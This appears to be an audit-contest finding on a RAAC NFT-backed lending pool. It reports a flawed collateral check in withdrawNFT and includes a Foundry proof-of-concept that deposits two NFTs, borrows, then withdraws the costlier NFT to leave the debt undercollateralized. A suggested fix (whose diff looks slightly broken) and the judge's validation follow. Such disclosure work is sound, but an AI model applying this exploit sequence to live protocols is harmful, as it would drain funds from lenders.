Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Malicious Users Can Exploit NFT Withdrawals in `LendingPool` to Undercollateralize Protocol and Profit Illegitimately

Summary

The LendingPool contract allows users to withdraw used as collateral NFTs by calling withdrawNFT, potentially leaving the protocol undercollateralized. This vulnerability arises because the contract does not properly enforce the Loan-to-Value (LTV) ratio when withdrawing NFTs. As a result, a malicious user can withdraw high-value NFTs after borrowing funds, leaving the protocol with insufficient collateral to cover the debt.


Vulnerability Details

Explanation

The withdrawNFT function in the LendingPool contract checks if withdrawing an NFT would leave the user undercollateralized. However, the calculation is flawed because it does not account for the LTV ratio. Specifically:

  1. Insufficient Collateral Check: The function only checks if the remaining collateral value is greater than the user's debt multiplied by the liquidation threshold. This does not account for the LTV ratio, which ensures that the collateral value is always greater than the borrowed amount by a safe margin.

  2. Exploitable Withdrawal: A malicious user can deposit multiple NFTs, borrow funds, and then withdraw high-value NFTs, leaving the protocol with insufficient collateral to cover the debt.

Root Cause in the Contract Function

The issue lies in the following lines of the withdrawNFT function:

function withdrawNFT(uint256 tokenId) external nonReentrant whenNotPaused {
if (isUnderLiquidation[msg.sender]) revert CannotWithdrawUnderLiquidation();
UserData storage user = userData[msg.sender];
if (!user.depositedNFTs[tokenId]) revert NFTNotDeposited();
// update state
ReserveLibrary.updateReserveState(reserve, rateData);
// Check if withdrawal would leave user undercollateralized
uint256 userDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex);
uint256 collateralValue = getUserCollateralValue(msg.sender);
uint256 nftValue = getNFTPrice(tokenId);
@> if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}
// Remove NFT from user's deposited NFTs
for (uint256 i = 0; i < user.nftTokenIds.length; i++) {
if (user.nftTokenIds[i] == tokenId) {
user.nftTokenIds[i] = user.nftTokenIds[user.nftTokenIds.length - 1];
user.nftTokenIds.pop();
break;
}
}
user.depositedNFTs[tokenId] = false;
raacNFT.safeTransferFrom(address(this), msg.sender, tokenId);
emit NFTWithdrawn(msg.sender, tokenId);
}

This check only ensures that the remaining collateral value is above the liquidation threshold but does not enforce the LTV ratio. As a result, users can withdraw NFTs and leave the protocol undercollateralized.


Proof of Concept

Scenario Example

  1. User Deposits NFTs: A user deposits two NFTs worth 250 crvUSD and 750 crvUSD, respectively.

  2. User Borrows Funds: The user borrows 300 crvUSD against the collateral.

  3. User Withdraws NFT: The user withdraws the high-value NFT (750 crvUSD), leaving the protocol with only 250 crvUSD of collateral for a 300 crvUSD debt.

  4. Undercollateralization: The protocol is left undercollateralized, as the remaining collateral (250 crvUSD) is insufficient to cover the debt (300 crvUSD).

Code

The vulnerability is demonstrated in the following Foundry test suite. Convert to foundry project using the steps highlighted here. Then in the test/ folder create a Test file named LendingPoolTest.t.sol and paste the test into it. Make sure the imports path are correct and run the test using forge test --mt testExploitNFTWithdrawal :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "contracts/core/pools/LendingPool/LendingPool.sol";
import "contracts/mocks/core/tokens/crvUSDToken.sol";
import "contracts/core/primitives/RAACHousePrices.sol";
import "contracts/core/tokens/RAACNFT.sol";
import "contracts/core/tokens/RToken.sol";
import "contracts/core/tokens/DebtToken.sol";
contract LendingPoolTest is Test {
LendingPool lendingPool;
crvUSDToken crvusd;
RAACHousePrices raacHousePrices;
RAACNFT raacNFT;
RToken rToken;
DebtToken debtToken;
address owner;
address user1;
address user2;
function setUp() public {
owner = address(this);
user1 = address(0x1);
user2 = address(0x2);
// Deploy contracts
crvusd = new crvUSDToken(owner);
raacHousePrices = new RAACHousePrices(owner);
raacNFT = new RAACNFT(address(crvusd), address(raacHousePrices), owner);
rToken = new RToken("RToken", "RToken", owner, address(crvusd));
debtToken = new DebtToken("DebtToken", "DT", owner);
uint256 initialPrimeRate = 0.1 * 1e27;
lendingPool = new LendingPool(
address(crvusd),
address(rToken),
address(debtToken),
address(raacNFT),
address(raacHousePrices),
initialPrimeRate
);
// Set up roles and permissions
crvusd.setMinter(owner);
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
// Mint tokens to users
uint256 mintAmount = 1000 ether;
crvusd.mint(user1, mintAmount);
uint256 mintAmount2 = 10000 ether;
crvusd.mint(user2, mintAmount2);
// Set house price
raacHousePrices.setOracle(owner);
raacHousePrices.setHousePrice(1, 250 ether); // Priced at 250
raacHousePrices.setHousePrice(2, 750 ether); // Priced at 750
// Mint NFT
uint256 tokenId1 = 1;
uint256 tokenId2 = 2;
uint256 amountToPay1 = 250 ether;
uint256 amountToPay2 = 750 ether;
crvusd.mint(user1, amountToPay1 + amountToPay2); //This mean user! starts with 1000 worth of crvUSD
vm.prank(user1);
crvusd.approve(address(raacNFT), amountToPay1 + amountToPay2);
vm.startPrank(user1);
raacNFT.mint(tokenId1, amountToPay1);
raacNFT.mint(tokenId2, amountToPay2);
vm.stopPrank();
}
function testExploitNFTWithdrawal() public {
//USER 2 deposits liquidity to the pool to earn reward
uint256 depositAmount = 10000 ether;
vm.startPrank(user2);
crvusd.approve(address(lendingPool), depositAmount);
lendingPool.deposit(depositAmount);
vm.stopPrank();
// USER 1 Deposits NFT as collateral to borrow from the pool
uint256 tokenId1 = 1;
uint256 tokenId2 = 2;
vm.startPrank(user1);
raacNFT.approve(address(lendingPool), tokenId1);
raacNFT.approve(address(lendingPool), tokenId2);
lendingPool.depositNFT(tokenId1); // Current value of NFT1 is (250) crvusd
lendingPool.depositNFT(tokenId2); // Current value of NFT2 is (750) crvusd
uint256 borrowAmount = 300 ether;
lendingPool.borrow(borrowAmount); //User able to borrow upto (300) crvusd
lendingPool.withdrawNFT(tokenId2); //User able to withdraw NFT Worth 750 crvUSD
//This means the user1 now has 1050 crvUSD worth.
// The malicious user went off with 50 crvUSD profit which is about 5%
vm.stopPrank();
assertEq(raacNFT.getHousePrice(tokenId2) + borrowAmount, 1050 ether);
}
}

In this test:

  • The user deposits two NFTs worth 250 crvUSD and 750 crvUSD.

  • The user borrows 300 crvUSD.

  • The user withdraws the high-value NFT (750 crvUSD), leaving the protocol with insufficient collateral.


Impact

  • Undercollateralization: The protocol can be left undercollateralized, leading to potential insolvency.

  • Loss of Funds: Malicious users can exploit this vulnerability to profit at the expense of the protocol and other users.


Tools Used

  • Foundry: Used to write and execute the test suite that demonstrates the vulnerability.

  • Manual Review


Recommendations

  • Update the withdrawNFT function to enforce the LTV ratio when withdrawing NFTs. This ensures that the remaining collateral value is always greater than the borrowed amount by a safe margin.

function withdrawNFT(uint256 tokenId) external nonReentrant whenNotPaused {
if (isUnderLiquidation[msg.sender]) revert CannotWithdrawUnderLiquidation();
UserData storage user = userData[msg.sender];
if (!user.depositedNFTs[tokenId]) revert NFTNotDeposited();
// Update state
ReserveLibrary.updateReserveState(reserve, rateData);
// Check if withdrawal would leave user undercollateralized
uint256 userDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex);
uint256 collateralValue = getUserCollateralValue(msg.sender);
uint256 nftValue = getNFTPrice(tokenId);
// Enforce LTV ratio
+ uint256 remainingCollateral = collateralValue - nftValue;
+ uint256 maxBorrowable = remainingCollateral.percentMul(liquidationThreshold);
- if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) {
+ if (userDebt > maxBorrowable) {
+ revert WithdrawalWouldLeaveUserUnderCollateralized();
+ }
// Remove NFT from user's deposited NFTs
for (uint256 i = 0; i < user.nftTokenIds.length; i++) {
if (user.nftTokenIds[i] == tokenId) {
user.nftTokenIds[i] = user.nftTokenIds[user.nftTokenIds.length - 1];
user.nftTokenIds.pop();
break;
}
}
user.depositedNFTs[tokenId] = false;
raacNFT.safeTransferFrom(address(this), msg.sender, tokenId);
emit NFTWithdrawn(msg.sender, tokenId);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.